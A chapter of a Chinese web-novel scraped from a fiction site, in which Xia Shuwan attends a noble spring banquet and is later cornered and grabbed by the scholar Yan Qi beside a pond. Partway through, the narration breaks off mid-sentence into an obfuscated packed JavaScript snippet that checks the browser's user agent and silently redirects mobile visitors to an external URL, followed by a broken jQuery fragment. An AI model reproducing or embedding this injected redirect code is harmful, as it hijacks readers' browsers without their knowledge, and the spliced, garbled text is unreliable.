文趣网 > 其他小说 > 绾茧成丝 > 15. 来者不善
    第二日一早,平日早起习惯的夏疏晚也早早的起了。不知何时守在门口的莲儿听到房内的动静,轻轻敲了敲门,“夏姑娘可是起了?需要盥洗后用早饭吗?”

    “哦,可以的,多谢莲儿了。”夏疏晚还不太适应有人时刻侯着。

    不多时莲儿便端了热水进来,夏疏晚正收拾着阿铃穿衣服。

    莲儿走过来,“夏姑娘,这衣服改的可合身?”昨日夏疏晚试完衣服的时候遇到莲儿,随口说了一句有些大,稍微调整也还可以穿,莲儿便立马要了她和阿铃的身量,将衣物送去改了。

    “合身的,真是谢谢你了,其实也没大多少。”夏疏晚有些不好意思。

    “姑娘不必客气,在宴席期间照顾好你们是我应该做的。”莲儿微微屈身说道。

    两人盥洗后就被莲儿按在妆奁桌前,说什么也要亲自给她们上妆绾发,夏疏晚拗不过,也只好任她去了。

    “夏姑娘脸上这两颗痣生的可真是灵巧。”莲儿给夏疏晚上水粉的时候轻声感叹道。

    只是夏疏晚其实一直不太喜欢这两颗痣,“帮我遮了吧莲儿,麻烦你了。”

    莲儿听到夏疏晚的要求后有些惋惜,“诶,夏姑娘不太喜欢吗?遮了有些可惜呢。”

    绾发的时候,夏疏晚见莲儿留着她的刘海没有拨上去,想说又觉得太麻烦了,“莲儿,随便绾一下用簪子簪上就好,辛苦你了。”

    莲儿一边给夏疏晚绾了个倭堕髻一边笑着对她说:“姑娘不必担心太过麻烦,我们这些做丫鬟的呀,主子需要我们做事我们心里才开心呢,你若是事事不需要我,莲儿只担心我是不是做的不够好呢。绾好了,姑娘你看看。”

    夏疏晚对自己的外在不是很在意,看了看上下都很规整,也满意得点了点头。

    等莲儿给阿铃梳妆的时候,她想了想刚才莲儿说的话,也确是有几分道理,想了想昨日她做什么事都婉拒了莲儿,想来莲儿也是有些伤心了,才会在今日说这样的话。

    用过早饭后,莲儿带着夏疏晚和阿铃在园子里散步。太阳渐渐挂上枝头后,偌大的园子里人开始多了些。

    三人沿着湖边走了没多远,迎面过来一位穿着深青色长袍的中年男子,身后跟着两个小厮。莲儿眼尖,连忙拉着夏疏晚往路边让了让,自己先屈膝行了个礼。那人微微颔首,并未停下,径直走过去了。

    等他走远了,莲儿才直起身,凑到夏疏晚耳边小声说:“这位是工部侍郎周大人,今日是替他家老夫人来赴宴的。听说他府上老夫人和宁王妃是旧识。”

    夏疏晚点了点头,却也并未将其放在心上。这几日所遇见的人是过去不曾也无法接触到的,宴会结束之后,就更不是能以她的身份能产生交集的人了。

    又转过一座假山往汀廊走了一段,汀廊一侧的下方亭子里坐着两个年轻公子,看样子是在下棋。夏疏晚抬眼便看到其中一位是木清玄,只见他今日穿的是一身竹青色云纹玉锦,在春日花团锦簇的园子里,颇成一番景色。

    莲儿见她远远望着亭子,悄声说,“世子殿下对面的人就是宁安郡主过几日要订婚的颜祁颜公子,从苏州过来,昨日夜里才到,他是前段时间的新科探花郎,不知夏姑娘有听说过没。”

    夏疏晚会了意,原来这位就是昨晚他们三人讨论的颜公子么。只是那人背对着汀廊这边,只能看到他极为周正的背影。

    木清玄似有感应,下定一子棋后便抬眼,和前方汀廊上的夏疏晚视线交汇。还是第一次见她没有将刘海挽上去,显得人更乖巧了几分,披在肩上的头发也比往日的更多,是自己绾的头发么,木清玄这么想着,一时有些分了神。

    夏疏晚见到木清玄抬脸,不知道是不是她的错觉,那人好像对着她轻轻的点了下头,她也轻颔首以示回礼。

    颜祁察觉到木清玄的动作,顺着他的视线转身看去,原来是女子,正想打趣两句,颜祁看着那女子心中竟有些熟悉感。

    颜祁试探着问道,“世子殿下认识汀廊上的那位姑娘吗?不知是哪家的小姐?”

    木清玄被他这么一问,顿了一下说,“夏姑娘是宁安出门在外认识的朋友。”

    “向来听闻宁安郡主活泼好玩,原来也是广结好友的好性情。”

    “她这性子怕是改不了的了,只能请颜探花郎日后多担待了。”

    “世子殿下言重了,能和宁安郡主订亲是小人的荣幸,自是要一心一意好生照顾的。”

    木清玄弯眸一笑,没有继续说下去。等他再抬眼时,汀廊上已经站了别的人了。

    一盘棋到最后是木清玄赢了,可他只觉得没什么意思,颜祁下的每一步皆是讨好之意,呵,探花郎么?对方一大早就来邀约,谈话间也是提了两句颜家,又感慨了镇国公夫人去世早属实惋惜,问他的话比问宁安的还多,要说除了在问他的时候格外上心外,就是刚才夏疏晚路过的时候了。

    感觉不会错,木清玄回想着那颜祁回头后愣住的一下,和他问夏疏晚身份时,语气里带着急切的探究,难道颜祁见过她么?这个念头出现的一瞬间,木清玄自己都觉得有些荒唐,二人之间唯一的联系也只怕是苏州,况且夏疏晚也没去过苏州,何来见过之说。

    夏疏晚和阿铃去了园子另一侧的牡丹园,一进门便看到开的正盛的牡丹。

    夏疏晚疑惑,“莲儿,我记得牡丹不是要等四月中才开放吗,这会儿才二月下旬,怎么这里的牡丹就开的这样好了?”

    “夏姑娘记得不错,这里的牡丹是宁安郡主特意寻来的花匠做了处理的,只因宁安郡主特别喜爱这牡丹,想在这踏春宴的时候就能够赏到。”

    “而且夏姑娘有所不知,我们宁安郡主生性好玩,她这个月想着在踏春宴赏牡丹,等下个月或许又想赏别的了。因此呀,要是等到四月,天下牡丹都开尽的时候或许郡主也没了这份情趣了。”

    夏疏晚点点头,心里感慨着,“宁安郡主真是对万事万物都很热情呢。”

    下午莲儿带来消息说宁安郡主在东园设了茶宴招待前来的女眷们,“郡主说若是夏姑娘不喜人多,下午想闲逛也可以去西园。”

    夏疏晚听郡主安排的如此周到,一时也不知道该说些什么。“那就谢过郡主了,莲儿下午带我去西园逛逛吧。”

    阿铃下午想练字,夏疏晚就让莲儿陪着她留在了房间内,得了去西园的路之后独自出了门。

    西园这边水榭亭台更多,其间分布着大大小小的池塘。午后的阳光下,池水澄清得映射出粼粼波光,底下铺着的卵石和水草也看得一清二楚。夏疏晚找了个临水的水榭停了下来,坐在水边逗着鱼群。

    “请问,是夏姑娘吗?”

    夏疏晚听到陌生的声音,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17969838|214631||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有些警觉。在这里基本上没什么人认识她,上午的时候遇到有对方问身份,莲儿也只说的是郡主的朋友,对方也就不再多问。

    她转头看到对方的衣服,想起来原来是上午在汀廊看到的颜公子。“民女见过颜公子。”夏疏晚起身行了礼,“不知颜公子有什么事吗?宁安郡主现在应该在东园和女眷们办着茶宴。”

    颜祁确认了身份后往前走了两步,“姑娘多虑了,我是来找夏姑娘你的。”

    夏疏晚听他说是找自己的,有些怔怔地看着他。

    “请问夏姑娘是哪里人?听口音有些我们苏州的音调呢?”

    夏疏晚想到昨晚他们说这位颜公子也是苏州来的人,大概解释了一番。

    “颜公子前来是为了这事吗?”夏疏晚见他一脸失望的样子问道。

    “那倒并非。”颜祁又看了看夏疏晚,“只是清晨见到夏姑娘有些眼熟,方才走近了看,又听了姑娘讲话,颜某实在觉得和姑娘有一种莫名的熟悉感,只是听闻姑娘是宁州人,是颜某冒犯了。”

    熟悉感?夏疏晚听着觉得怪怪的,又说不上来为什么。其实从刚才颜祁走过来,她就有些不自觉地想抗拒。

    “只是夏姑娘怎么独自一人在此地呢,郡主在东园的茶宴应该还未结束才是。”颜祁并没有要离开的意思。

    “回公子的话,民女和前来的女眷们互相少有了解,怕扰了各位的兴致,郡主特允我不必去赴宴。”

    “只是既然来了这样的踏春宴,免不得要和席间夫人们聊上几句的。”

    “那便是必要的情况了。”

    “若是姑娘真的喜清静又怎会来这里呢?听闻夏姑娘是作为郡主朋友前来的是么,既不是宁州城里的高门大户,来了这里对夏姑娘来说不正是广结人缘的好时候吗?竟会独自一人在这里。”颜祁轻笑着看着夏疏晚。

    “颜公子说笑了,我是作为郡主的朋友前来宴会,便是一心只为和郡主作陪,能够让郡主开心我便也跟着开心,这也是我赴宴的目的。至于其他的,民女并未有打算。”

    “是么?夏姑娘一介平民,不知使了什么样的手段能够让郡主把你当朋友。今日在这庄子里的人皆知下午郡主在东园设宴招待女眷,其余人也都绕着来东园这边赏景。你却一人在这水榭边独坐,莫不是起了几分勾引人的心思。”颜祁嘴角的笑意淡了几分,目光也上下打量着夏疏晚,说话间他往前迈了两步,有些步步紧逼的意味。

    夏疏晚不明白眼前的人明明一副风度翩翩的外表,为何说出这样的话,而且,“勾引?”这个词一出来夏疏晚只觉得胃里有些翻江倒海,她退了两步到临水的台阶边上,想借点风让自己舒服一些。

    “颜公子若是这样的想法看我,民女多说无益,还请颜公子自便。”

    颜祁见对方一股子高清的做派,气急了一般上前抓住了夏疏晚的肩膀,“哼,来了这宴会的人谁不是想借着郡主的关系攀名附利,你以为你我又有何不同?今日我好心前来同你搭话,你这般的女子竟也敢给我脸色看?”

    夏疏晚无心听他的话,注意力全在那人抓着自己的手臂上。“不舒服!好恶心!”夏疏晚这样想着,身体率先做出反应试图挣扎。

    男子的力气终究是难以挣脱,夏疏晚正想用臂钏的时候,颜祁却放手了,夏疏晚重心不稳,向池塘里跌去。